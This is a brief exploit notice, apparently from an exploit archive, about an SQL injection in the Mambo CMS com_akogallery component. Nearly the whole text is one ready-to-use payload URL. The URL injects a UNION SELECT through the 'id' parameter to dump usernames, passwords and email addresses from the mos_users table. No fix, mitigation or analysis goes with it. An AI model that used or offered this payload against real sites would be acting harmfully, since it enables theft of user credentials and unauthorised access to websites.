Mambo com_akogallery Remote Sql Injection Vulnerability

Demo:
http://server/index.php?option=com_akogallery&Itemid=91&func=detailgallerie&id=-10+UNION SELECT 1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+mos_users